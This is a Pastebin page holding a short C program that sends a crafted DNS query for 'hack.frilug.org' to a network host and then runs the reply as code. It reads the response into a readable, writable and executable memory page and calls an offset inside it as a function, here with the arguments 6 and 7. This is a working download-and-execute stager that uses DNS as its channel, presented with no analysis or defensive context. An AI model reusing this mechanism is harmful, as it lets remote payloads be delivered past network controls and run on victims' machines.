Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <sys/mman.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- int main()
- {
- struct sockaddr_in sr = {
- .sin_family = AF_INET,
- .sin_port = htons(53),
- .sin_addr.s_addr = 0x01b2a8c0
- };
- int sock = socket(AF_INET, SOCK_DGRAM, 0);
- char *mem = mmap(0, 0x1000,
- PROT_READ | PROT_WRITE | PROT_EXEC,
- MAP_PRIVATE | MAP_ANONYMOUS,
- -1, 0);
- sendto(sock,
- "\x13\x37\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x04"
- "hack\x06""frilug\x03""org\x00\x00\x01\x00\x01",
- 33, 0, (struct sockaddr *)&sr, sizeof(struct sockaddr_in));
- recvfrom(sock, mem, 0x1000,
- 0, NULL, NULL);
- int (*fun)(int, int) = (int (*)(int, int))&mem[0x2E];
- int a = 6;
- int b = 7;
- int ret = fun(a, b);
- printf("fun(%d, %d) = %d\n", a, b, ret);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement